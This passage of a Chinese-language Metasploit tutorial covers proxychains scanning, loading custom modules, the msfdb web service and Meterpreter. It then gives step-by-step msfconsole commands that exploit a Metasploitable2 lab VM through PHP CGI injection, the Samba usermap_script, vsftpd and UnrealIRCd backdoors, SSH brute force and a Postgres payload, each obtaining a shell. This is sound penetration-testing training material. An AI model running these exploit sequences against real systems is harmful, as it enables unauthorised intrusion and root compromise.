Location: https://169.254.37.128/owa/auth/logon.aspx?url=https%3a%2f%2f169.254.37.128%2fowa%2f&reason=0 [following]  
--2022-04-08 14:26:54--  https://169.254.37.128/owa/auth/logon.aspx?url=https%3a%2f%2f169.254.37.128%2fowa%2f&reason=0  
Reusing existing connection to 169.254.37.128:443.  
HTTP request sent, awaiting response... 200 OK  
Length: 58714 (57K) [text/html]  
Saving to: ‘index.html’  
  
index.html             100%[===========================>]  57.34K  --.-KB/s    in 0.1s  
  
2022-04-08 14:26:54 (573 KB/s) - ‘index.html’ saved [58714/58714]  
  
 ~/git/proxychains-ng │ master ?2  
  1. 扫描
    对于使用Nmap、Zenmap、Nessus等进行扫描,请记住ICMP和UPD流量不能通过代理进行隧道传输。因此,我们无法执行ping或UDP扫描。
    对于Nmap和Zenmap,以下示例显示了可以使用的命令。最好选择要扫描的端口,因为通过代理隧道进行扫描可能会很慢。
$ sudo proxychains4 nmap -n -sT -sV -PN -p 445 10.10.125.0/24

  以下是通过代理扫描单个主机端口445时的情况示例:

 ~/git/proxychains-ng │ master ?1  proxychains4 nmap -n -sT -A -PN -p 445 169.254.37.128  
[proxychains] config file found: /etc/proxychains.conf  
[proxychains] preloading /usr/local/lib/libproxychains4.so  
[proxychains] DLL init: proxychains-ng 4.16-git-1-g07c15a0  
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-08 14:08 CDT  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:7458 <--socket error or timeout!  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:42597 <--socket error or timeout!  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:1433 <--socket error or timeout!  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:445  ...  OK  
Nmap scan report for 169.254.37.128  
Host is up (0.14s latency).  
  
PORT    STATE SERVICE       VERSION  
445/tcp open  microsoft-ds?  
  
Host script results:  
|_clock-skew: -1s  
| smb2-security-mode:  
|   2.02:  
|_    Message signing enabled and required  
| smb2-time:  
|   date: 2022-04-08T19:09:38  
|_  start_date: N/A  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 83.03 seconds  
2.2.2.8、运行专用模块

  如果我们正在编写或收集不属于标准发行版的Metasploit模块,那么我们需要一种方便的方法来将这些模块加载到Metasploit中。不用担心,使用Metasploit的默认本地模块搜索路径“$HOME/.msf4/modules”非常容易(不过在msf6中,Metasploit的默认本地模块搜索路径已经被修改为“/opt/metasploit-framework/embedded/framework/modules”,在下方使用时要注意这两者的区别),而且只有几点需要注意。

2.2.3.8.1、映射“真实的”Metasploit模块路径

  我们必须首先设置一个符合Metasploit对路径名称的期望的目录结构。这通常意味着,我们应该首先创建一个“exploits”目录结构,如下所示:

$ mkdir -p $HOME/.msf4/modules/exploits

  如果我们正在使用Auxiliary模块或Post模块,或者正在编写Payload,我们也需要mkdir这些模块。

2.2.3.8.2、创建适当的类别

  模块按(有些随意的)类别进行排序。这些可以是我们喜欢的任何东西。作者通常使用testprivate,但如果我们正在开发一个模块,并着眼于将其提供给主要的Metasploit发行版,那么我们将希望映射真实的模块路径。例如:

$ mkdir -p $HOME/.msf4/modules/exploits/windows/fileformat

  如果我们正在为Windows开发文件格式化漏洞。

2.2.3.8.3、创建适当的类别

  一旦我们有了一个目录,可以随意下载或开始编写我们的模块。

2.2.3.8.4、使用Python/Go模块

  外部模块,通常用Python/Go编写,需要额外标记为可执行,以便被Metasploit加载。有关详细信息:

2.2.3.8.5、测试所有内容

  如果我们已经运行了msfconsole,请使用reload_all命令加载新模块。如果没有,只需启动msfconsole,它们就会被自动加载。如果我们想用一些通用的东西进行测试,作者有一个模块作为gist发布,在这里:https://gist.github.com/todb-r7/5935519,所以让我们试一试。需要注意的是,由于网络连接总是失败,所以我们不采取下载的方式构建此模块,而是通过手动方式创建此模块。还有一点需要强调,上面我们介绍的方式是msf4添加新模块的方法,而下面介绍的方法是在msf6中添加新模块的方法,注意区别。首先在“/opt/metasploit-framework/embedded/framework/modules”目录中创建新的名为“test”的测试目录,并在此目录中创建模块源代码文件:

$ sudo mkdir -p /opt/metasploit-framework/embedded/framework/modules/exploits/test
$ sudo touch /opt/metasploit-framework/embedded/framework/modules/exploits/test/test_module.rb
$ sudo gedit /opt/metasploit-framework/embedded/framework/modules/exploits/test/test_module.rb

  在打开的文件中输入如下内容:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Fake Test Module',
			'Description'    => %q{
				If this module loads, you know you're doing it right.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'todb'
				],
			'References'     =>
				[
					[ 'CVE', '1970-0001' ]
				],
			'Platform'          => [ 'win' ],
			'Targets'        =>
				[
					['Universal', {}]
				],
			'DisclosureDate' => 'Jan 01 1970',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The output file name.', 'test.txt'])
			], self.class)

	end

	def exploit

		data = "Hello, world!\r\n"

		# Create the file
		print_status("Creating '#{datastore['FILENAME']}' file...")
		file_create(data)

	end

end

  保存以上修改后退出,然后启动msfconsole窗口:

$ msfconsole

  然后,在msfconsole窗口中加载所有模块,并使用我们刚刚构建好的测试模块:

msf6 > reload_all
msf6 > use exploit/test/test_module

  然后使用如下命令来查看我们自己构建的模块的详细信息:

msf6 exploit(test/test_module) > info

  如下图所示的内容就是我们自己构建模块的详细信息:

  我们还可以使用如下命令来exploit我们在这里插入图片描述
自己构建的模块:

msf6 exploit(test/test_module) > exploit

  当我们执行完上面的命令后,会在命令行终端中打印如下图所示的信息,这就代表我们成功exploit了我们自己构建的模块:
在这里插入图片描述

2.2.3.8.6、故障排除

  这就是它的全部。人们(包括作者)遇到的最常见的问题是:

  • 尝试在“$HOME/.msf6/modules/”中创建一个模块是行不通的,因为我们需要指定它是一个exploit、payload还是其它类型的模块。请查看ls /opt/metasploit/apps/pro/msf3/modules/(或我们的Metasploit安装位置)。
  • 尝试在“$HOME/.msf6/modules/auxiliary/”中创建一个模块也是不行的,因为我们至少需要一个层次的分类。它可以是新的,比如“auxiliary/0day/”,也可以是已存在的,比如“auxiliary/scanner/scada/”。
  • 尝试在“$HOME/.msf6/exploit/”或“$HOME/.msf6/posts/”中创建一个模块。请注意目录名的复数形式。它们对于不同的模块类型是不同的。Exploits、payloads、encoders和nops是复数形式,而auxiliary和post是单数形式。
2.2.3.8.7、Metasploit Pro

  请注意,Metasploit Community Edition的“$HOME”目录将是“root”目录,而不是我们自己的用户目录,因此,如果我们希望模块显示在Metasploit-Pro web UI中,我们将希望将外部模块存储在“/root/.msf6/modules”中。当然,这意味着我们需要对有问题的机器进行root访问,但我们是l33t Metasploit用户,所以这应该不会太难。

  还要注意,如果我们的模块没有显示在web UI中,我们应该重新启动Pro服务。

2.2.3.8.8、Windows

  对于Windows用户,上述都是正确的,除了从Web GUI访问模块。不幸的是,我们有点运气不好。Windows上的模块加载路径较为受限,不允许外部模块。然而,基于Console2的Metasploit Console(开始>程序>Metasploit>Metasploit Console)将能够正常工作。

2.2.3.8.9、新的混合和协议

  任何需要更改核心库函数的模块,如新的协议解析器或其它库混合插件,都不会以这种方式为我们服务——当我们的模块试图加载这些类时,我们最终会在各处遇到错误。在几乎所有情况下,都可以将模块编写为完全独立的(这要归功于Ruby的开放类架构),但这些模块几乎总是在以后进行重构,以使协议和其它混合位可用于其它模块。

  在这种情况下,最好使用开发分支使用适当的GitHub签出来处理这样的模块——有关更多信息,请参阅开发环境设置文档

2.2.3.8.10、最后的警告

  如果我们正在加载新颖有趣的Metasploit模块,请注意这些模块往往可以访问我们所能访问到的任何内容。尤其是如果我们将它们放在“root”目录下。Metasploit模块是纯文本的Ruby代码,因此我们可以阅读它们——但请小心,只能从受信任的来源添加外部模块。不要随意从互联网上获取任何我们看到的东西,因为我们可能会很快发现自己被植入了后门(或者更糟糕的情况)。

2.2.3、高级使用方法

2.2.3.1、Metasploit Web服务

  Metasploit web服务允许通过REST API与Metasploit的各种数据模型进行交互。

2.2.3.1.1、管理Web服务
  1. 要求
    要使用Web服务,我们需要一个PostgreSQL数据库作为后端数据存储。msfdb工具允许我们同时管理Metasploit框架数据库和Web服务。如果要手动配置数据库,可以在“管理数据库”页面上找到更多信息。
  2. 入门
    • 初始化数据库和web服务
      在交互式初始化期间执行msfdb init并响应提示。该脚本首先创建和配置数据库,然后配置Web服务,最后使用新的数据服务连接配置本地msfconsole。
    • msfdb
      msfdb工具允许我们同时或独立地管理Metasploit框架数据库和Web服务组件。如果没有提供--component选项,那么将为数据库执行指定的命令,然后执行Web服务。此默认操作模式在首次设置数据库和Web服务时非常有用。如果我们希望独立于其它组件对给定组件进行更改,则可以指定该组件。
  3. 用法
    msfdb [options] <command>
    • 选项
      • 执行msfdb --help命令以获取完整的使用信息。
    • 命令
      • init-初始化组件
      • reinit-删除并重新初始化组件
      • delete-删除并停止组件状态
      • status-检查组件状态
      • start-启动组件
      • stop-停止组件
      • restart-重新启动组件
  4. 演示
    • msfdb start-启动数据库和Web服务
    • msfdb --component webservice stop-停止Web服务
    • msfdb --component webservice --address 0.0.0.0 start-启动Web服务,监听任意主机地址
  5. 说明
    • 默认情况下,SSL是启用的,如果没有提供Rex::Socket::Ssl.ssl_generate_certificate,msfdb将在初始化期间生成一个假的“snakeoil”SSL证书。生成的SSL证书使用与我们的主机名不匹配的随机通用名称(CN),因此,在使用此类证书操作Web服务时,我们需要做出适当的调整。请生成我们自己的SSL证书和密钥,并使用--ssl-cert-file--ssl-key-file选项将它们提供给msfdb,然后通过传递--no-ssl-disable-verify选项来启用SSL验证。
    • 使用 cURL 进行简单的 Web 服务验证,确保其正在运行:curl --insecure -H "Accept: application/json" -H "Authorization: Bearer <token>" https://localhost:5443/api/v1/msf/version
2.2.3.1.2、利用msfconsole中的数据服务
  1. 连接中
    我们可以使用db_connect命令连接到所需的数据服务。当我们成功连接到一个数据服务时,该连接将被保存在Metasploit配置文件中。我们可以使用-n选项提供一个名称,否则将随机生成一个名称。然后,我们可以使用该名称在以后的某个时间重新连接到该数据服务。
    请注意,我们一次只能连接到一个数据服务。在切换到新的数据服务之前,需要使用db_disconnect命令。我们可以使用db_status命令以查看有关当前连接的数据服务的信息。
  2. 用法
    db_connect <options> <url>
    • 选项
      • -l--list-services-列出先前保存的可用数据服务。
      • -y--yaml-连接到提供的“database.yml”文件中指定的数据服务。
      • -n--name-用于存储连接的名称。提供现有名称将覆盖该连接的设置。
      • -c--cert-匹配远程数据服务器证书的证书文件。在使用自签名SSL证书时需要。
      • -t--token-用于身份验证到远程数据服务的API令牌。
      • --skip-verify-跳过验证服务器证书的真实性(不推荐使用)。
  3. 演示
    • db_connect http://localhost:5443-连接到运行在本地端口5443上的Metasploit REST API实例
    • db_connect -c ~/.msf4/msf-ws-cert.pem -t 72ce00fd9ab1a96970137e5a12faa12f38dcc4a9e42158bdd3ce7043c65f5ca37b862f3faf3630d2 https://localhost:5443-连接到运行在本地端口5443上启用SSL和身份验证的服务器
    • db_connect -l-列出已保存的数据服务
    • db_connect -n LA_server http://localhost:5443-连接到运行在本地端口5443上的数据服务,并将名称“LA_server”分配给保存的条目
  4. URL格式
    • HTTP-http://<host>:<port>
    • HTTPS-https://<host>:<port>
    • Postgres-<user>:<password>@<host>:<port>/<database name>
2.2.3.1.3、设置默认数据服务

  db_save命令可用于将当前连接的数据服务保存为默认值。每次启动msfconsole时,它都会尝试连接到该数据服务。如果我们有默认设置,则始终可以在数据服务之间切换,这将决定启动msfconsole时连接到的数据服务。

  1. 用法
    db_save
  2. 演示
    db_connect http://localhost:5443db_save-连接到运行在本地端口5443上的数据服务,然后将其设置为默认连接。
2.2.3.1.4、删除已保存的数据服务

  可以使用db_remove命令删除保存的数据服务。如果该位置不再存在数据服务,或者我们不想再为快速连接保留数据服务的记录,这可能会很有用。

  1. 用法
    db_remove <name>
  2. 演示
    db_remove LA_server-移除名为“LA_server”的已保存数据服务条目
2.2.3.1.5、说明

  在使用Metasploit框架的数据服务时,请记住以下几点信息:

  • 指定现有已保存数据服务连接的名称将覆盖这些设置。
  • 要将数据服务设置为默认值,该数据服务必须已在保存的数据服务列表中存在。使用“database.yml”文件连接的数据服务不能使用此方法保存为默认值。
  • 在连接到远程数据服务之前,需要建立一个Postgres数据库连接。
  • 在可预见的未来,仍将尊重来自“database.yml”的配置,但在存在已保存的默认数据服务时,将优先使用它。
  • 已保存的数据服务存储在Metasploit配置文件中,默认情况下该文件位于 “~/.msf4/config”。
2.2.3.2、Meterpreter
2.2.3.2.1、综述

  Meterpreter是Metasploit自2004年以来的一种先进的Payload。最初由Matt“skape”Miller用C语言编写,数十位贡献者提供了额外的代码,包括PHP、Python和Java的实现。这个Payload在Metasploit的开发中持续得到频繁更新。

  Meterpreter的开发发生在metasploit-payloads存储库中,编译结果作为metasploit-payloads gem的一部分发布。要详细了解Meterpreter的架构,请查阅原始规范。有关Meterpeter的其它文档可在此wiki上找到:

  扩展特定文档:

  Meterpreter愿望清单页面维护了一个功能愿望单。此wiki上还可以找到特定用例的示例:

  那些对Meterpeter的技术细节以及一些实现背后的原理感兴趣的人应该阅读以下内容:

  有无响应的Meterpreter会话?阅读此文:调试无响应的Meterpreter会话

  1. 架构
    为避免混淆,始终将运行Meterpreter的受害者称为服务器,控制它的Ruby端始终称为客户端,不论网络传输连接的方向如何。Meterpeter服务器分为几个部分:
    • “metsrv.dll”和“meterpreter.{jar,php,py}”-这是Meterpreter的核心,实现了协议和扩展系统。
    • “ext_server_stdapi.{dll,jar,php,py}”-此扩展实现了大多数用户熟悉的命令。
    • “ext_server_*.{dll,jar,php,py}”-其它扩展提供了更多功能,可以针对特定环境。
  2. 传递Meterpreter
    “metsrv.dll”的头部以使其可以用作shellcode。然后,Metasploit可以将其嵌入到可执行文件中,或者通过类似于任何其它shellcode的漏洞运行它。
    // TODO
2.2.3.3、RPC

// TODO

3、测试用例

  在本章节中,我们将使用Metasploitable2作为Metasploit工具的测试靶机使用。Metasploitable2 Linux系统是一个特别制作的Ubuntu系统,本身设计目的是作为安全工具测试和模拟漏洞环境。最重要的是可以用来作为渗透工具集MSF攻击用的靶机。Metasploitale2上面开放了很多高危端口如21、23、445、3389等,而且具有很多未经修补的高危漏洞,如Samba、MS-RPC Shell命令注入、弱口令等。

  我们在本章节就会使用Metasploit工具对Metasploitable2靶机中的漏洞进行检测。Metasploitable2靶机环境的部署也比较简单,直接下载Metasploitable2靶机的虚拟机镜像,然后将其打开就可以得到Metasploitable2靶机环境了。此外,Metasploitable2靶机作为虚拟机部署在VMware Pro 17上,关于Metasploitable2靶机环境的层次结构图如下图所示。下面就正式开始本章节所要介绍的具体内容。
在这里插入图片描述

3.1、部署Metasploitable2靶机

  1. 首先来到Metasploitable2官方下载地址下载Metasploitable2靶机的虚拟机镜像:
    在这里插入图片描述

  2. 下载完后是一个压缩包,我们将这个压缩包中的内容解压到某个目录中:
    在这里插入图片描述

  3. 然后使用VMware Pro 17打开解压后得到的Metasploitable2靶机的虚拟机镜像:
    在这里插入图片描述

  4. 然后启动加载好的Metasploitable2靶机的虚拟机镜像:
    在这里插入图片描述

  5. 然后会出现如下图所示的界面,我们只需要点击如下图红箭头和红框处的复选框即可:
    在这里插入图片描述

  6. 稍等片刻就会来到Metasploitable2靶机的虚拟机的主界面,在这个主界面的红箭头和红框处的内容就是此虚拟机的用户名和密码,这个用户名和密码需要保存下来,后面会用到:
    在这里插入图片描述

  7. 然后使用上一步提到的用户名和密码登录系统:
    在这里插入图片描述

  8. 然后查看此靶机的内核版本:

$ uname -r
  1. 可以发现此靶机的内核版本为2.6.24-16-server:
    在这里插入图片描述

  2. 然后查看此靶机的系统版本:

$ lsb_release -a
  1. 可以发现此靶机的系统版本为Ubuntu 8.04:
    在这里插入图片描述

  2. 然后使用ifconfig命令查看当前系统的IP地址,并记录此IP地址,可以发现当前靶机的IP地址为“192.168.157.184”:
    在这里插入图片描述

  3. 此时,Metasploitable2靶机环境就已经部署完毕了,下面我们就要使用Metasploit工具对此靶机进行漏洞扫描测试了

3.2、 对Metasploitable2靶机进行测试

  当我们部署好Metasploitable2靶机环境后,就可以使用Metasploit工具对此靶机进行漏洞扫描测试了。我们在本章分各个小节分别对不同的漏洞进行测试。此外,本章节使用的Metasploit环境为之前介绍的源码安装的Metasploit环境,我们在本章直接使用此Metasploit环境,不做过多解释,而Metasploitable2靶机环境就是在本章部署的Metasploitable2靶机,IP地址为“192.168.157.184”。另,攻击者(即主机)的IP地址为“192.168.157.176”。

3.2.1、PHP CGI参数注入执行漏洞

  PHP CGI 参数注入执行漏洞是一种 Web 应用程序安全漏洞,主要影响基于 CGI(Common Gateway Interface)的 PHP 网站。这种漏洞使得攻击者能够在服务器上执行任意的 PHP 代码,通常通过在 Web 请求中注入恶意的参数来实现。

  下面是使用Metasploit框架对Metasploitable2靶机中的此漏洞进行验证的具体方法。

  1. 首先启动Metasploit环境:
$ msfconsole 
  1. 然后使用如下命令选择对应的漏洞的Exploit:
msf6 > use exploit/multi/http/php_cgi_arg_injection
  1. 然后使用如下命令设置Metasploitable2靶机的IP地址:
msf6 exploit(multi/http/php_cgi_arg_injection) > set RHOST 192.168.157.184
  1. 然后执行如下命令对此漏洞进行Exploit:
msf6 exploit(multi/http/php_cgi_arg_injection) > exploit
  1. 执行完上面的命令后,发现已经成功获取到了靶机的Shell了:
    在这里插入图片描述

  2. 然后执行如下命令验证一下获取到的靶机的Shell是否可用:

meterpreter > ls
  1. 可以发现,成功在获取到的靶机的Shell中执行了目标命令,这就代表我们本次测试成功:
    在这里插入图片描述

  2. 然后在获取到的靶机的Shell中执行如下命令来退出靶机的Shell环境:

meterpreter > exit
  1. 最后在Metasploit环境中使用如下命令来退出本次测试的Metasploit环境:
msf6 exploit(multi/http/php_cgi_arg_injection) > exit

3.2.2、Samba MS-RPC Shell命令注入漏洞

  Samba MS-RPC Shell命令注入漏洞是指在使用 Samba 的网络环境中,攻击者能够通过精心构造的请求向 MS-RPC(Microsoft Remote Procedure Call)接口注入恶意的Shell命令,从而实现远程执行任意命令的攻击。

  漏洞产生的主要原因在于Samba服务在处理MS-RPC请求时,未正确地验证用户提供的输入数据,导致攻击者可以在RPC请求中注入恶意的Shell命令。这种漏洞允许攻击者在受影响的系统上执行任意命令,可能导致信息泄露、系统崩溃或远程执行代码。

  下面是使用Metasploit框架对Metasploitable2靶机中的此漏洞进行验证的具体方法。

  1. 首先启动Metasploit环境:
$ msfconsole 
  1. 然后使用如下命令选择对应的漏洞的Exploit:
msf6 > use exploit/multi/samba/usermap_script
  1. 然后使用如下命令设置Metasploitable2靶机的IP地址:
msf6 exploit(multi/samba/usermap_script) > set RHOST 192.168.157.184
  1. 然后执行如下命令对此漏洞进行Exploit:
msf6 exploit(multi/samba/usermap_script) > run
  1. 执行完上面的命令后,发现已经成功获取到了靶机的Shell了,不过就是没有明显的提示,虽然没有明显的靶机Shell的提示,我们仍可以输入Shell命令,如下图红框的红箭头处所示,我们使用whoami命令查看当前获取到靶机的Shell环境的用户为root,这就代表我们本次测试成功:
    在这里插入图片描述

  2. 然后按一下“Ctrl+C”来退出靶机的Shell环境:
    在这里插入图片描述

  3. 最后在Metasploit环境中使用如下命令来退出本次测试的Metasploit环境:

msf6 exploit(multi/samba/usermap_script) > exit

3.2.3、Vsftp 2.3.4后门漏洞

  Vsftpd是一个FTP服务器守护程序,以其高度安全性而著称。然而,2011年Vsftpd 2.3.4版本曝露了一个后门漏洞,使攻击者可以通过特定的用户名和密码绕过正常身份验证,获取系统root权限。作者Chris Evans承认故意放置后门,声称用于追踪潜在的恶意用户,但这一行为引起了社区的不满。

  下面是使用Metasploit框架对Metasploitable2靶机中的此漏洞进行验证的具体方法。

  1. 首先启动Metasploit环境:
$ msfconsole
  1. 然后使用如下命令选择对应的漏洞的Exploit:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
  1. 然后使用如下命令设置Metasploitable2靶机的IP地址:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.157.184
  1. 然后执行如下命令对此漏洞进行Exploit:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
  1. 执行完上面的命令后,发现已经成功获取到了靶机的Shell了,不过就是没有明显的提示,虽然没有明显的靶机Shell的提示,我们仍可以输入Shell命令,如下图红框的红箭头处所示,我们使用whoami命令查看当前获取到靶机的Shell环境的用户为root,这就代表我们本次测试成功:
    在这里插入图片描述

  2. 然后按一下“Ctrl+C”来退出靶机的Shell环境:
    在这里插入图片描述

  3. 最后在Metasploit环境中使用如下命令来退出本次测试的Metasploit环境:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exit

3.2.4、暴力破解SSH

  暴力破解SSH是一种攻击方法,攻击者试图通过尝试多个用户名和密码的组合,来非法获取SSH(Secure Shell)服务的访问权限。SSH是一种用于在网络上安全地登录和执行命令的协议,而暴力破解则是一种相对简单但危险的攻击方式。

  下面是使用Metasploit框架对Metasploitable2靶机中的此漏洞进行验证的具体方法。

  1. 首先启动Metasploit环境:
$ msfconsole 
  1. 然后使用如下命令选择对应的漏洞的Exploit:
msf6 > use auxiliary/scanner/ssh/ssh_login
  1. 然后使用如下命令设置Metasploitable2靶机的IP地址:
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.157.184
  1. 然后使用如下命令设置暴力破解SSH所使用的字典:
msf6 auxiliary(scanner/ssh/ssh_login) > set userpass_file /opt/metasploit-framework/embedded/framework/data/wordlists/piata_ssh_userpass.txt
  1. 然后执行如下命令对此漏洞进行Exploit:
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
  1. 执行完上面的命令后,会开始对SSH的密码进行暴力破解,当出现如下图红框和红箭头处所示的内容时,就代表对SSH的密码的暴力破解成功,当对SSH的密码的暴力破解成功后,我们就按一下Ctrl+C结束继续的密码破解。此外,还需要注意下图中蓝框和蓝箭头处所示的“1”,这代表本次Exploit产生的会话的ID,需要将这个ID记录下来,因为后面会用到:
    在这里插入图片描述

  2. 当做完以上操作后,我们使用如下命令进入到本次成功Exploit的会话中,使用的ID就是刚刚保存的“1”:

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
  1. 执行完上面的命令后,就会进入到靶机的Shell环境中,然后我们可以执行如下命令验证一下获取到的靶机的Shell是否可用:
whoami
  1. 可以发现,成功在获取到的靶机的Shell中执行了目标命令,这就代表我们本次测试成功:
    在这里插入图片描述

  2. 然后按一下“Ctrl+C”来退出当前靶机的Shell环境:
    在这里插入图片描述

  3. 最后在Metasploit环境中使用如下命令来退出本次测试的Metasploit环境:

msf6 auxiliary(scanner/ssh/ssh_login) > exit

3.2.5、UnrealIRCd后门漏洞

  UnrealIRCd(Unreal Internet Relay Chat daemon)是一种开源的IRC服务器软件。在2009年11月至2010年6月期间,UnrealIRCd版本3.2.8.1和3.2.8.1-experimental中存在一个后门漏洞,被广泛用于某些镜像站点。这个后门漏洞允许远程攻击者执行任意代码。

  下面是使用Metasploit框架对Metasploitable2靶机中的此漏洞进行验证的具体方法。

  1. 首先启动Metasploit环境:
$ msfconsole
  1. 然后使用如下命令选择对应的漏洞的Exploit:
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. 然后使用如下命令设置Metasploitable2靶机的IP地址:
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 192.168.157.184
  1. 然后使用如下命令设置本次Exploit的Payload:
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/bind_perl
  1. 然后执行如下命令对此漏洞进行Exploit:
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
  1. 执行完上面的命令后,发现已经成功获取到了靶机的Shell了,不过就是没有明显的提示,虽然没有明显的靶机Shell的提示,我们仍可以输入Shell命令,如下图红框的红箭头处所示,我们使用whoami命令查看当前获取到靶机的Shell环境的用户为root,这就代表我们本次测试成功:
    在这里插入图片描述

  2. 然后按一下“Ctrl+C”来退出靶机的Shell环境:
    在这里插入图片描述

  3. 最后在Metasploit环境中使用如下命令来退出本次测试的Metasploit环境:

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exit

3.2.6、Postgres共享库代码任意执行漏洞

  在某些默认配置的Linux系统上,PostgreSQL数据库服务通常以一个特定的服务账户(例如,postgres)运行。这个服务账户在某些情况下可能具有对“/tmp”目录的写权限,并且存在一些共享库(shared library)的问题,允许攻击者向该目录中写入恶意的共享库,并通过触发PostgreSQL服务加载并执行这些库来执行任意代码。

  下面是使用Metasploit框架对Metasploitable2靶机中的此漏洞进行验证的具体方法。

  1. 首先启动Metasploit环境:
$ msfconsole 
  1. 然后使用如下命令选择对应的漏洞的Auxiliary:
msf6 > use auxiliary/admin/postgres/postgres_sql
  1. 然后使用如下命令设置Metasploitable2靶机的IP地址:
msf6 auxiliary(admin/postgres/postgres_sql) > set RHOSTS 192.168.157.184
  1. 然后执行如下命令来对此漏洞进行Auxiliary的操作:
msf6 auxiliary(admin/postgres/postgres_sql) > run
  1. 然后会在命令行终端打印如下图所示的信息,这就代表针对此漏洞的Auxiliary操作成功:
    在这里插入图片描述

  2. 然后使用如下命令选择对应的漏洞的Exploit:

msf6 auxiliary(admin/postgres/postgres_sql) > use exploit/linux/postgres/postgres_payload 
  1. 然后使用如下命令设置Metasploitable2靶机的IP地址:
msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.157.184
  1. 然后执行如下命令对此漏洞进行Exploit:
msf6 exploit(linux/postgres/postgres_payload) > run
  1. 执行完上面的命令后,发现已经成功获取到了靶机的Shell了:
    在这里插入图片描述

  2. 然后执行如下命令验证一下获取到的靶机的Shell是否可用:

meterpreter > ls
  1. 可以发现,成功在获取到的靶机的Shell中执行了目标命令,这就代表我们本次测试成功:
    在这里插入图片描述

